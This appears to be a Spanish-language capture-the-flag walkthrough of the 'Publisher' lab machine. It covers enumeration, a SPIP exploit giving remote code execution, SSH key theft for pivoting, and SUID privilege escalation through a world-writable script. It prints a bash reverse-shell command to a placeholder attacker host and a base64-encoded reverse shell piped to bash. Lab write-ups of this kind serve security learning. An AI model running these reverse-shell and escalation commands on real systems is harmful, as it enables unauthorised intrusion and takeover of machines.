Introduction

La máquina CTF "Publisher" es un entorno simulado que contiene algunos servicios. Mediante una serie de técnicas de enumeración, incluyendo directory fuzzing e identificación de versiones, se descubre una vulnerabilidad, permitiendo RCE. Intenta escalar privilegios usando binarios personalizados que están escondidos mediante acceso restringido al sistema de ficheros, necesitando una exploración más profunda en el perfil de seguridad del sistema para finalmente explotar un loophole que permite la ejecución de una shell bash y conseguir escalada de privilegios.
Finding the Flags
Escaneo Inicial
Empezamos el reconocimiento inicial listando los puertos abiertos.

Escaneamos dichos puertos más en profundidad.

Vamos a proceder a enumerar directorios.

Enumeramos más directorios.

Escaneamos manualmente el sitio web en busca de pistas que puedan ayudarnos.

Por lo que se ve parece que el vector de ataque va a ser Spip, vamos a ver qué es.
Profundización
Vamos a buscar la versión de SPIP usada en el sitio web.

Miramos el código fuente en busca de la versión.

Parece que hemos encontrado la versión, ahora buscaremos un exploit.

Explotación
Copiamos el código en nuestra máquina y lo intentamos ejecutar.
Para hacer esto primero tenemos que preparar un payload y encodearlo para poder transmitir los caracteres especiales por HTTP.
bash -c 'bash -i >& /dev/tcp/IP_ATACANTE/PUERTO_ATACANTE 0>&1'
Tenemos que codificarlo en base 64 y luego pasarle por el pipe el decode de base64 y el comando de consola para que lo ejecute.
"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1MS4xNDkvNDQ0NCAwPiYxCg== | base64 -d | bash"
Este será el payload en mi caso (para mi IP y el puerto 4444).
Ponemos el puerto en escucha (usaremos rlwrap para estabilizar la shell).

Y procedemos a usar el exploit.

Nos da un error por falta de dependencias. Vamos a editar el exploit.

Volvemos a probar.

Acabamos de ganar una consola.

Ahora la estabilizamos.

Vamos a buscar la flag.
Pivotaje
Somos el usuario www-data por lo que necesitaremos pivotar hacia otro usuario. Aprovechando que estamos viendo un directorio .ssh/ en el home/ del usuario think vamos a ver si podemos ver la clave privada.

Acabamos de encontrar una clave privada admitida por el servidor. Nos la copiaremos y la usaremos para iniciar sesión por ssh.
Escalada de Privilegios
Habiendo entrado ya por ssh comienza la gesta de intentar escalar los privilegios para poder leer la flag de root.
Después de probar un par de técnicas encontramos lo siguiente:

El ejecutable /usr/sbin/run_container no es un binario SUID común en Linux, por lo que profundizaremos sobre él.

Si nos fijamos en la respuesta del comando, parece que hay un error en /opt/run_container.sh. Vamos a ver qué pasa con él.

CAUTION: Tiene permisos 777, lo que implica que todo el mundo puede modificarlo, esto es un peligro.
Vamos a leerlo de todas formas pero parece que hemos encontrado nuestra gallina de los huevos de oro.

Con razón falla, la función validate_container_id no está definida en todo el código.
Pero bueno, vamos a sustituir todo este script por un simple:
#!/bin/bash /bin/bash -p
El problema es que por algún motivo, pese a los permisos no nos deja modificarlo:

Vamos a ver qué consola tiene nuestra sesión:

Parece que no está usando bash.
Vamos a buscar directorios escribibles.

Nos vamos al directorio /dev/shm. Allí copiamos /bin/bash y lo ejecutamos.

Ahora ya tenemos una shell bash y podemos modificar /opt/run_container.sh.

Por último ejecutamos el binario SUID, lo que nos devuelve una shell con privilegios y leemos la flag.

